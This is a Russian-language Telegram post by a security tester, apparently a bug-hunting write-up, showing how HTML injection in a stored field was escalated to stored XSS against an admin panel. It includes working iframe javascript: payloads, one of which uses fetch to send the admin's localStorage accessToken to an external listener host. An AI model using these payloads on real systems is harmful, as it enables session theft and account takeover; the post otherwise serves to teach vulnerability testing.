TGViewer
Fail Auth Fail Auth @failauth · 206 subscribers
Post #120 1.95K
HTML Injection → Stored XSS → Hijack accessToken

Во время анализа одного из веб-приложений наткнулся на поле, которое обрабатывает ввод без должной фильтрации.

Примечение: cервис фильтрует <script> теги, поэтому XSS реализован с обходом — без явного использования скриптовых тегов.

Решил проверить — вставил простой HTML:
<h1>Test</h1>    <!-- изменение размера шрифта -->

Текст стал крупнее — значит innerHTML или подобная конструкция.

Далее потестировал теги:
<img src="x">    <!-- битая картинка -->
<input> <!-- лишний input на странице -->


Браузер создал элементы прямо в DOM. Очевидный признак HTML Injection, причём без CSP и фильтров. Поле сохраняется в базу ➡️ отображается в админке ➡️ возникает вопрос: можно ли это раскрутить до XSS?

➡️ Рабочий XSS-пэйлоад:
<iframe src="javascript:alert(localStorage.accessToken)"></iframe>

В данном случае он читает токен из localStorage и вызывает alert() с его значением.
Минус: работает не во всех браузерах и часто режется CSP, но в слабозащищённых фронтах может быть отличной стартовой точкой.

➡️ Эскалация XSS:
<iframe src="javascript:fetch('//your.interact.sh?token=' + localStorage.accessToken)"></iframe>

Пэйлоад делает внешний запрос на ваш сервер (например, Interactsh), передавая туда значение токена. Вместо всплывающего окна (alert) вы сразу получаете лог токена.
Важно: поле, в которое внедряется нагрузка, сохраняется в базе данных и отображается в административной панели. Это означает, что код выполняется от лица администратора при просмотре, что приводит к краже его токена и потенциальному захвату аккаунта.

➡️ Особенность уязвимости теги:
🔴Инъекция сохраняется в БД (Stored)
🔴Отрабатывает на стороне администратора
🔴Через XSS читается accessToken из localStorage


➡️ Что это даёт:
🔴Захват токена администратора
🔴Возможность делать запросы от его имени
🔴Потенциальный full access к admin-панели


➡️ Советы для тестирования:
🔴 Ищите HTML-теги, которые влияют на DOM (текст, форма, медиа)
🔴 Проверяйте innerHTML, outerHTML, dangerouslySetInnerHTML в React
🔴Тестируйте на img, input, iframe, svg, math, script и template
🔴 Не ограничивайтесь alert(1), пробуйте localStorage, fetch, document.cookie, navigator, location
🔴 Используйте Interactsh, Burp Collaborator, xsshunter для подтверждения уязвимости
  • 👍 8
  • 😁 2
  • ✍ 1
  • ❤ 1
  • 🔥 1
  • 👏 1
  • 🏆 1
  • 👨‍💻 1
More from @failauth
  1. Jul 4, 2026Наконец-то получил бумажку! Это было слишком жестко! 🤩
  2. May 29, 2026HTTP Request Smuggling → Privilege Escalation Разбирал задание с уязвимостью CL.TE (Conten…
  3. Apr 21, 2026Всем привет! Вот и у меня дошли руки поделиться впечатлениями и эмоциями об ообучнии и сда…
  4. Apr 16, 2026Хей! Пост немного задержался... Но я принес вам Хабр-статью с моей рефлексией по итогам сд…
  5. Apr 16, 2026Всем, кто в теме, рекомендую к прочтению! 💻 Делясь знаниями, получаешь больше 🤝
  6. Apr 6, 2026Всем привет! 🕵‍♂️ Не сложилось у меня с CPTS, не зашло. Переиграл план, который по обучен…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →